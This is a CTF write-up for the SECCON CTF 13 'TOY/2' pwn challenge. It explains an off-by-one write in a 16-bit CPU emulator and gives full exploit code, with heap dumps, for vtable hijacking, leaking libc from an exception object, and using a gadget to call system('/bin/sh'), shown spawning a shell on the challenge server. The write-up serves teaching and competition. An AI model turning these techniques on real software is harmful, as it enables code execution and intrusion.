SECCON CTF 13 Quals - TOY/2
author:ptr-yudai
TOY/2 is a minimalist 16 bit CPU.
nc toy-2.seccon.games 5000
Team: Super Guesser
Attachment:
TOY_2.tar.gz
xpl.py
int main () {
VM * vm = new VM ();
std :: setbuf ( stdin , NULL );
std :: setbuf ( stdout , NULL );
for ( Addr i = 0 ; i < MEM_SIZE ; i ++ )
if ( fread ( & vm -> at ( i ), 1 , 1 , stdin ) <= 0 )
break ;
std :: cout << "[+] Running..." << std :: endl ;
try {
vm -> run ( 0 );
} catch ( const std :: exception & e ) {
std :: cout << "[-] Error: " << e . what () << std :: endl ;
}
std :: cout << "[+] Done." << std :: endl ;
vm -> dump_registers ();
delete vm ;
return 0 ;
}
The challenge was a VM implementation of the TOY/2 cpu. Code and data are in the same segment (_mem
).
Whilst most operations always check, if the arguments given to the instructions are inside this segment, there’s an off-by-one error in the stt
operator.
case 13 : /* STT */
mem_write ( _regs . a & ( size () - 1 ), _regs . t );
break ;
Since it does an 16-bit write, limiting the memory address to size-1
allows us to write one byte outside of the memory region.
Let’s take a look at the layout of that memory region.
0x55555556c2a0: 0x0000000000000000 0x0000000000001031
0x55555556c2b0: 0x0000555555558c70 0x0000000000000000 <= VM vtable / _mem
0x55555556c2c0: 0x0000000000000000 0x0000000000000000
0x55555556c2d0: 0x0000000000000000 0x0000000000000000
0x55555556c2e0: 0x0000000000000000 0x0000000000000000
0x55555556c2f0: 0x0000000000000000 0x0000000000000000
0x55555556c300: 0x0000000000000000 0x0000000000000000
0x55555556c310: 0x0000000000000000 0x0000000000000000
0x55555556c320: 0x0000000000000000 0x0000000000000000
...
0x55555556d2b0: 0x0000000000000000 0x000055555556c2b8 <= end of _mem / ptr to _mem
0x55555556d2c0: 0x0000000000001000 0x0000000000000000 <= size of _mem / regs (pc,a,t,c,z)
0x55555556d2d0: 0x0000000000000000 0x000000000000dd31
So, with this one byte out-of-bound write, we can effectively overwrite the LSB of the _mem
ptr, moving it up- and downwards.
We can use this to first move the _mem
region further down, allowing us to overwrite more data behind _mem
(like the size of memory). We can also move it upwards, which would then allow us to read or overwrite the vtable
of the VM, by which we could let it point to a fake vtable.
Though we cannot leak any addresses from the vm, we can use existing addresses to calculate other addresses from it. In the beginning, we’ll only have a pointer to the challenge itself on the heap (the vtable
pointer) and a pointer to the heap via _mem ptr
.
To do something useful, we’d need a libc
leak. That’s where the illegal
operation can help.
case 7 : /* illegal */
throw std :: runtime_error ( "Illegal instruction" );
This will raise an exception and create an exception object on the heap (behind our current vm
object).
0x55555556d2b0: 0xfe00000000000000 0x000055555556c2c8
0x55555556d2c0: 0x0000000000001000 0x0000c8fe0fff000a
0x55555556d2d0: 0x0000000000000000 0x00000000000000a1
0x55555556d2e0: 0x000000055555556d 0x9b4e6a6ead1198b2
0x55555556d2f0: 0x0000555555558cb8 0x00007ffff7e0f150
0x55555556d300: 0x00007ffff7de2a40 0x00007ffff7dfa360
0x55555556d310: 0x0000000000000000 0x0000000100000001
0x55555556d320: 0x000055555555737e 0x00005555555572b8
0x55555556d330: 0x00005555555563e1 0x000055555556d360
0x55555556d340: 0x474e5543432b2b00 0x00007ffff7df8290
0x55555556d350: 0x0000000000000000 0x00007fffffffecf0
0x55555556d360: 0x00007ffff7fabff0 0x000055555556d398 <= libstdc++ ptr
0x55555556d370: 0x0000000000000000 0x0000000000000041
0x55555556d380: 0x000000055555556d 0x9b4e6a6ead1198b2
0x55555556d390: 0x00000000ffffffff 0x206c6167656c6c49
0x55555556d3a0: 0x7463757274736e69 0x00000000006e6f69
The distance between libstdc++
and libc
will always be constant. So, if we can access those addresses, we could calculate libc
and then create a fake vtable
to execute something like system("/bin/sh")
.
The attack plan would be something like:
Overwrite LSB of _mem
and move it downwards
Overwrite size
of _mem
so we still have access to _mem
ptr when moving upwards
Overwrite LSB of _mem
and point it before the vm
Create a fake vtable in _mem
which will start the challenge again when calling dump_registers
Raise an exception via operator 7
This will get the exception on the heap and lets us send another program, in which we can then do pretty much the same, but this time, we’ll have the exception before our current vm
, which we then can read, calculate libc
from it and do our final vtable
to execute system("/bin/sh")
.
To be able to access data kind of like a variable and not having to “jump over” user data, I separated the code into two segments (code/data). By this we can put values into the data
segment of our code and access it via 0xf00 + offset
.
def exploit ( r ):
# code segment
# overwrite mem ptr
code = lda ( 0xf00 )
code += tat ()
code += lda ( 0xf02 )
code += stt ()
code = code . ljust ( 0xf00 , b " \x00 " )
# data segment
code += p16 ( 0xc800 ) # 0xf00 LSB overwrite value
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code = code . ljust ( 4096 , b " \x00 " )
r . send ( code )
0x55555556d2b0: 0xfe00000000000000 0x000055555556c2c8 <= _mem / _mem ptr
0x55555556d2c0: 0x0000000000001000 0x0000c8fe0fff0000
0x55555556d2d0: 0x0000000000000000 0x000000000000dd31
With this, we moved the _mem
pointer now from 0x000055555556c2b8
to 0x000055555556c2c8
. We also have to take this in consideration for our code, since pc
will be calculated relatively to _mem
(we can do this by just adding a padding into our code here).
# padding for moved mem ptr
code += b " \x00 " * 16
and then continue our code after this, in which we’ll now overwrite the size of _mem
.
# overwrite _mem size
code += lda ( 0xf04 - 0x10 )
code += sta ( 0x1000 + 8 - 0x10 )
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xc8fe ) # 0xf00 LSB overwrite value
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
Since we have moved _mem
we also have to take the -0x10
into consideration for referencing the offsets, but this will effectively set _mem.size
to 0xffff
.
0x55555556d2b0: 0xfe00000000000000 0x000055555556c2c8 <= _mem / _mem ptr
0x55555556d2c0: 0x000000000000ffff 0x0000c8feffff0000 <= _mem size
0x55555556d2d0: 0x0000000000000000 0x000000000000dd31
Now we can move _mem
upwards, to be able to access vtable
and _mem ptr
at the same time and use this to create a fake vtable, which allows us to raise the exception and re-enter the challenge.
But when moving _mem
upwards, we need to take pc
into consideration again (which would now point to a previous operation), so that we can continue with our code execution. To get around this, we can just add some ror
operations kinda like a nop-sled
. (Also now all “variables” are off by +0x8
).
# padding to increase pc
code += ror () * 16
# move _mem ptr up
code += lda ( 0xf06 - 0x10 )
code += sta ( 0x1000 - 1 - 0x10 )
# read vtable and calculate offset to main
code += lda ( - 0x8 + 0x8 ) # read original vtable (lower 2 bytes)
code += sbc ( 0xf08 + 0x8 ) # calculate elf base
code += adc ( 0xf0a + 0x8 ) # calculate main
code += sta ( 0xe00 + 0x8 ) # write into mem
code += lda ( - 0x8 + 0x2 + 0x8 ) # read original vtable (next 2 bytes)
code += sta ( 0xe00 + 0x2 + 0x8 ) # write into mem
code += lda ( - 0x8 + 0x4 + 0x8 ) # read original vtable (next 2 bytes)
code += sta ( 0xe00 + 0x4 + 0x8 ) # write into mem
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xc800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0xb000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( 0x4c70 ) # 0xf08 original vtable offset
code += p16 ( 0x26d0 ) # 0xf0a offset to main
This will move _mem
ptr up just enough, so we can access the original vtable
pointer via _mem
, then calculate the address of main
based on it and write it into _mem
so we can use it as fake vtable afterwards.
0x55555556d0b0: 0x0000000000000000 0x00005555555566d0 <= main (fake vtable)
0x55555556d0c0: 0x0000000000000000 0x0000000000000000
0x55555556d0d0: 0x0000000000000000 0x0000000000000000
0x55555556d0e0: 0x0000000000000000 0x0000000000000000
Now, we’ll just have to overwrite vtable
and letting it point to our fake vtable.
# overwrite vtable ptr
code += lda ( 0xf0c + 0x8 ) # load offset to _mem ptr
code += ldi () # read lower 2 bytes of _mem ptr
code += adc ( 0xf12 + 0x8 ) # add offset to fake vtable
code += sta ( - 0x8 + 0x8 ) # overwrite vtable
code += lda ( 0xf0e + 0x8 ) # copy _mem ptr+2 to vtable+2
code += ldi ()
code += sta ( - 0x8 + 0x2 + 0x8 )
code += lda ( 0xf10 + 0x8 ) # copy _mem ptr+4 to vtable+4
code += ldi ()
code += sta ( - 0x8 + 0x4 + 0x8 )
# trigger invalid instruction
code += op ( 7 , 0 )
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xc800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0xb000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( 0x4c70 ) # 0xf08 original vtable offset
code += p16 ( 0x26d0 ) # 0xf0a offset to main
code += p16 ( 0x1000 + 0x8 ) # 0xf0c offset to _mem ptr
code += p16 ( 0x1000 + 0x2 + 0x8 ) # 0xf0e offset to _mem ptr + 2
code += p16 ( 0x1000 + 0x4 + 0x8 ) # 0xf10 offset to _mem ptr + 4
code += p16 ( 0xe00 ) # 0xf12 offset to fake vtable
We’ll be using the existing _mem
pointer for this, since it already points to our vm. We just load 2 bytes from it at a time, calculate the offset to our fake vtable and then overwrite the corresponding two bytes of vtable
with it.
0x55555556c2a0: 0x0000000000000000 0x0000000000001031
0x55555556c2b0: 0x000055555556d0b0 0xd000ef025000ef00 <= vtable
0x55555556c2c0: 0x0000000000000000 0x0000000000000000
0x55555556c2d0: 0x40004000fff8eef4 0x4000400040004000
0x55555556c2e0: 0x4000400040004000 0x4000400040004000
...
0x55555556d0b0: 0x0000000000000000 0x00005555555566d0 <= fake vtable
0x55555556d0c0: 0x0000000000000000 0x0000000000000000
0x55555556d0d0: 0x0000000000000000 0x0000000000000000
0x55555556d0e0: 0x0000000000000000 0x0000000000000000
0x55555556d0f0: 0x0000000000000000 0x0000000000000000
With everything prepared, we can now trigger the illegal
instruction, which will raise the exception and execute our fake vtable, which will just start again in main
reading our next payload.
[*] Switching to interactive mode
[+] Running...
[+] Done.
The challenge will now create a new VM
object directly behind the exception
object, so we can just repeat the previous process to again read outside of _mem
and getting the libstdc++
pointer and create yet another fake vtable.
We can use the first code again, just changing the heap offsets a bit, since we have a new vm object allocated.
r . recvuntil ( "[+] Done." )
# move _mem ptr down
code = lda ( 0xf00 )
code += tat ()
code += lda ( 0xf02 )
code += stt ()
# padding for moved mem ptr
code += b " \x00 " * 16
# overwrite _mem size
code += lda ( 0xf04 - 0x10 )
code += sta ( 0x1000 + 8 - 0x10 )
# padding to increase pc
code += ror () * 80
# move _mem ptr up
code += lda ( 0xf06 - 0x10 )
code += sta ( 0x1000 - 1 - 0x10 )
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xd800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0x5000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( 0x4c70 ) # 0xf08 original vtable offset
code += p16 ( 0x26d0 ) # 0xf0a offset to main
code = code . ljust ( 4096 , b " \x00 " )
pause ()
r . send ( code )
This will again, overwrite the size of _mem
and then move the _mem
ptr before the vm
, so that it points before a libstdc++
pointer from the previously generated exception.
0x55555556d330: 0x00005555555563e1 0x000055555556d360
0x55555556d340: 0x474e5543432b2b00 0x00007ffff7df8290
0x55555556d350: 0x0000000000000000 0x00007fffffffecf0
0x55555556d360: 0x00007ffff7fabff0 0x000055555556d398 <= libstdc++ pointer
0x55555556d370: 0x0000000000000000 0x0000000000000041
0x55555556d380: 0x000000055555556d 0x8a8aeb215917a587
0x55555556d390: 0x00000000ffffffff 0x206c6167656c6c49
0x55555556d3a0: 0x7463757274736e69 0x00000000006e6f69
0x55555556d3b0: 0x0000000000000000 0x0000000000001031
0x55555556d3c0: 0x0000555555558c70 0xd000ef025000ef00 <= second VM
0x55555556d3d0: 0x0000000000000000 0x0000000000000000
0x55555556d3e0: 0x40004000fff8eef4 0x4000400040004000
0x55555556d3f0: 0x4000400040004000 0x4000400040004000
0x55555556d400: 0xffefeef640004000 0x0000000000000000
...
0x55555556e3c0: 0x0000000000000000 0x000055555556d350 <= _mem ptr
0x55555556e3d0: 0x000000000000ffff 0x0001d8006000bff0
0x55555556e3e0: 0x0000000000000000 0x000000000000cc21
Now we can read the libstdc++
pointer, calculate libc
base from it and store it in _mem
for further usage.
LIBCOFFSET = 0x4aeff0
# read libstdc++ pointer and calculate libc base and store in _mem
code += lda ( 0x10 ) # bytes 0-2
code += sbc ( 0xf08 + 0x78 )
code += sta ( 0x400 + 0x78 )
code += lda ( 0x12 ) # bytes 2-4
code += sbc ( 0xf0a + 0x78 )
code += sta ( 0x402 + 0x78 )
code += lda ( 0x14 ) # bytes 4-6
code += sta ( 0x404 + 0x78 )
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xd800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0x5000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( LIBCOFFSET & 0xffff ) # 0xf08 libc offset (0-16)
code += p16 (( LIBCOFFSET >> 16 ) & 0xffff ) # 0xf0a libc offset (16-32)
0x55555556d7b0: 0x0000000000000000 0x0000000000000000
0x55555556d7c0: 0x0000000000000000 0x00007ffff7afd000 <= libc base
0x55555556d7d0: 0x0000000000000000 0x0000000000000000
0x55555556d7e0: 0x0000000000000000 0x0000000000000000
When the application calls vm->dump_register
it will call the function at vtable+8
and the vm
itself as its argument (rdi
). To call something like system("/bin/sh")
, we’d also need to control rdi
. We can use the following gadget for it
0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10];
r14
will point into our current _mem
, so we can put /bin/sh
there, and then it will call [rax + 0x10]
, which is directly behind our fake call. So let’s prepare the fake vtable accordingly.
# 0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10];
GADGETOFFSET = 0x16e44e
# write fake vtable with gadget
code += lda ( 0x400 + 0x78 ) # libc base
code += adc ( 0xf0c + 0x78 ) # add gadget offset
code += sta ( 0x410 + 0x78 ) # fake vtable
code += lda ( 0x402 + 0x78 ) # libc base
code += adc ( 0xf0e + 0x78 ) # add gadget offset
code += sta ( 0x412 + 0x78 ) # fake vtable
code += lda ( 0x404 + 0x78 ) # libc base
code += sta ( 0x414 + 0x78 ) # fake vtable
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xd800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0x5000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( LIBCOFFSET & 0xffff ) # 0xf08 libc offset (0-16)
code += p16 (( LIBCOFFSET >> 16 ) & 0xffff ) # 0xf0a libc offset (16-32)
code += p16 ( GADGETOFFSET & 0xffff ) # 0xf0c gadget offset (0-16)
code += p16 (( GADGETOFFSET >> 16 ) & 0xffff ) # 0xf0e gadget offset (16-32)
0x55555556d7c0: 0x0000000000000000 0x00007ffff7afd000 <= libc base address
0x55555556d7d0: 0x0000000000000000 0x00007ffff7c6b44e <= fake vtable (pointing to gadget)
0x55555556d7e0: 0x0000000000000000 0x0000000000000000
Write /bin/sh
to the address r14
will point to.
# write binsh string to _mem
BINSH = 0x0068732f6e69622f
code += lda ( 0xf10 + 0x78 )
code += sta ( 0x10 )
code += lda ( 0xf12 + 0x78 )
code += sta ( 0x12 )
code += lda ( 0xf14 + 0x78 )
code += sta ( 0x14 )
code += lda ( 0xf16 + 0x78 )
code += sta ( 0x16 )
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xd800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0x5000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( LIBCOFFSET & 0xffff ) # 0xf08 libc offset (0-16)
code += p16 (( LIBCOFFSET >> 16 ) & 0xffff ) # 0xf0a libc offset (16-32)
code += p16 ( GADGETOFFSET & 0xffff ) # 0xf0c gadget offset (0-16)
code += p16 (( GADGETOFFSET >> 16 ) & 0xffff ) # 0xf0e gadget offset (16-32)
code += p16 ( BINSH & 0xffff ) # 0xf10 binsh (0-16)
code += p16 (( BINSH >> 16 ) & 0xffff ) # 0xf12 binsh (16-32)
code += p16 (( BINSH >> 32 ) & 0xffff ) # 0xf14 binsh (32-48)
code += p16 (( BINSH >> 48 ) & 0xffff ) # 0xf16 binsh (48-64)
0x55555556d360: 0x0068732f6e69622f 0x000055555556d398 <= r14
0x55555556d370: 0x0000000000000000 0x0000000000000041
0x55555556d360: "/bin/sh"
Writing system+0x1b
to rax+0x10
. We’re using system+0x1b
here, so that the stack will be correctly aligned, avoiding running into a segfault on movaps
later on.
SYSTEMOFFSET = libc . symbols [ "system" ] + 0x1b
code += lda ( 0x400 + 0x78 ) # libc base
code += adc ( 0xf18 + 0x78 ) # add system offset
code += sta ( 0x418 + 0x78 ) # store at 0x418
code += lda ( 0x402 + 0x78 ) # libc base
code += adc ( 0xf1a + 0x78 ) # add system offset
code += sta ( 0x418 + 0x2 + 0x78 ) # store at 0x418+2
code += lda ( 0x404 + 0x78 ) # libc base
code += sta ( 0x418 + 0x4 + 0x78 ) # store at 0x418+4
# overwrite vtable with fake vtable
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xd800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0x5000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( LIBCOFFSET & 0xffff ) # 0xf08 libc offset (0-16)
code += p16 (( LIBCOFFSET >> 16 ) & 0xffff ) # 0xf0a libc offset (16-32)
code += p16 ( GADGETOFFSET & 0xffff ) # 0xf0c gadget offset (0-16)
code += p16 (( GADGETOFFSET >> 16 ) & 0xffff ) # 0xf0e gadget offset (16-32)
code += p16 ( BINSH & 0xffff ) # 0xf10 binsh (0-16)
code += p16 (( BINSH >> 16 ) & 0xffff ) # 0xf12 binsh (16-32)
code += p16 (( BINSH >> 32 ) & 0xffff ) # 0xf14 binsh (32-48)
code += p16 (( BINSH >> 48 ) & 0xffff ) # 0xf16 binsh (48-64)
code += p16 ( SYSTEMOFFSET & 0xffff ) # 0xf18 system offset (0-16)
code += p16 (( SYSTEMOFFSET >> 16 ) & 0xffff ) # 0xf1a system offset (16-32)
0x55555556d7c0: 0x0000000000000000 0x00007ffff7afd000 <= libc base
0x55555556d7d0: 0x0000000000000000 0x00007ffff7c6b44e <= fake vtable / gadget
0x55555556d7e0: 0x00007ffff7b5575b 0x0000000000000000 <= system+0x1b
With everything prepared, we now just have to overwrite the vtable
pointer of the vm one last time to trigger our gadget and execute system("/bin/sh)
.
# overwrite vtable with fake vtable
code += lda ( 0xf1c + 0x78 ) # get _mem_ptr
code += ldi ()
code += adc ( 0xf22 + 0x78 ) # add offset to fake vtable
code += sta ( 0x70 ) # overwrite vtable
code += lda ( 0xf1e + 0x78 ) # get _mem_ptr+2
code += ldi ()
code += sta ( 0x70 + 0x2 )
code += lda ( 0xf20 + 0x78 ) # get _mem_ptr+4
code += ldi ()
code += sta ( 0x70 + 0x4 )
# data segment
code = code . ljust ( 0xf00 , b " \x00 " )
code += p16 ( 0xd800 ) # 0xf00 LSB overwrite value (move down)
code += p16 ( 0xfff ) # 0xf02 Target address (overwrite _mem ptr)
code += p16 ( 0xffff ) # 0xf04 new _mem_size
code += p16 ( 0x5000 ) # 0xf06 LSB overwrite value (move up)
code += p16 ( LIBCOFFSET & 0xffff ) # 0xf08 libc offset (0-16)
code += p16 (( LIBCOFFSET >> 16 ) & 0xffff ) # 0xf0a libc offset (16-32)
code += p16 ( GADGETOFFSET & 0xffff ) # 0xf0c gadget offset (0-16)
code += p16 (( GADGETOFFSET >> 16 ) & 0xffff ) # 0xf0e gadget offset (16-32)
code += p16 ( BINSH & 0xffff ) # 0xf10 binsh (0-16)
code += p16 (( BINSH >> 16 ) & 0xffff ) # 0xf12 binsh (16-32)
code += p16 (( BINSH >> 32 ) & 0xffff ) # 0xf14 binsh (32-48)
code += p16 (( BINSH >> 48 ) & 0xffff ) # 0xf16 binsh (48-64)
code += p16 ( SYSTEMOFFSET & 0xffff ) # 0xf18 system offset (0-16)
code += p16 (( SYSTEMOFFSET >> 16 ) & 0xffff ) # 0xf1a system offset (16-32)
code += p16 ( 0x1000 + 0x78 ) # 0xf1c _mem_ptr
code += p16 ( 0x1000 + 0x2 + 0x78 ) # 0xf1e _mem_ptr+2
code += p16 ( 0x1000 + 0x4 + 0x78 ) # 0xf20 _mem_ptr+4
code += p16 ( 0x480 ) # 0xf22 offset to fake vtable
With this done, the challenge will end code execution and call vm->dump_registers
, with r14
pointing to /bin/sh
.
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000055555556d7d0 → 0x0000000000000000
$rbx : 0x000055555556d3c0 → 0x000055555556d7d0 → 0x0000000000000000
$rcx : 0x00007ffff7c19574 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fb1310 → 0x00007ffff7e92670 → 0x6d058b48fa1e0ff3
$rsp : 0x00007fffffffecc0 → 0x000055555556c2b0 → 0x000055555556d0b0 → 0x0000000000000000
$rbp : 0x0000555555559080 → 0x00007ffff7fb1310 → 0x00007ffff7e92670 → 0x6d058b48fa1e0ff3
$rsi : 0x0
$rdi : 0x000055555556d3c0 → 0x000055555556d7d0 → 0x0000000000000000
$rip : 0x000055555555689f → <main+01cf> call QWORD PTR [rax+0x8]
$r8 : 0x9
$r9 : 0x0
$r10 : 0x1
$r11 : 0x202
$r12 : 0x000055555556d360 → 0x0068732f6e69622f ("/bin/sh"?)
$r13 : 0x0
$r14 : 0x000055555556d360 → 0x0068732f6e69622f ("/bin/sh"?)
$r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → 0x00010102464c457f
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555556894 <main+01c4> call 0x5555555561d0 <_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_@plt>
● 0x555555556899 <main+01c9> mov rax, QWORD PTR [rbx]
0x55555555689c <main+01cc> mov rdi, rbx
→ 0x55555555689f <main+01cf> call QWORD PTR [rax+0x8]
0x5555555568a2 <main+01d2> mov rdi, rbx
0x5555555568a5 <main+01d5> mov esi, 0x1020
0x5555555568aa <main+01da> call 0x555555556240 <_ZdlPvm@plt>
0x5555555568af <main+01df> pop rbx
0x5555555568b0 <main+01e0> xor eax, eax
gef➤ x/30gx $rax+0x8
0x55555556d7d8: 0x00007ffff7c6b44e 0x00007ffff7b5575b <= gadget / system+0x1b
0x55555556d7e8: 0x0000000000000000 0x0000000000000000
0x55555556d7f8: 0x0000000000000000 0x0000000000000000
Calling our gadget, which will set rdi
to r14
and then calling [rax + 0x10]
, which points to system+0x1b
.
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000055555556d7d0 → 0x0000000000000000
$rbx : 0x000055555556d3c0 → 0x000055555556d7d0 → 0x0000000000000000
$rcx : 0x00007ffff7c19574 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fb1310 → 0x00007ffff7e92670 → 0x6d058b48fa1e0ff3
$rsp : 0x00007fffffffecb8 → 0x00005555555568a2 → <main+01d2> mov rdi, rbx
$rbp : 0x0000555555559080 → 0x00007ffff7fb1310 → 0x00007ffff7e92670 → 0x6d058b48fa1e0ff3
$rsi : 0x0
$rdi : 0x000055555556d3c0 → 0x000055555556d7d0 → 0x0000000000000000
$rip : 0x00007ffff7c6b44e → 0xc0851050fff7894c
$r8 : 0x9
$r9 : 0x0
$r10 : 0x1
$r11 : 0x202
$r12 : 0x000055555556d360 → 0x0068732f6e69622f ("/bin/sh"?)
$r13 : 0x0
$r14 : 0x000055555556d360 → 0x0068732f6e69622f ("/bin/sh"?)
$r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → 0x00010102464c457f
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7c6b443 mov rax, QWORD PTR [r14+0x8]
0x7ffff7c6b447 mov rsi, QWORD PTR [rbx+0x10]
0x7ffff7c6b44b mov rdx, r12
→ 0x7ffff7c6b44e mov rdi, r14
0x7ffff7c6b451 call QWORD PTR [rax+0x10]
0x7ffff7c6b454 test eax, eax
0x7ffff7c6b456 je 0x7ffff7c6b56d
0x7ffff7c6b45c mov rdi, r12
0x7ffff7c6b45f call QWORD PTR [rbx]
which will then finally trigger our shell :)
python3 workxpl.py 1
[*] '/home/kileak/ctf/seccon24/toy2/TOY_2/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to toy-2.seccon.games on port 5000: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode
[+] Running...
[+] Done.
$ cat /flag*
SECCON{Im4g1n3_pWn1n6_1n51d3_a_3um_CM0S}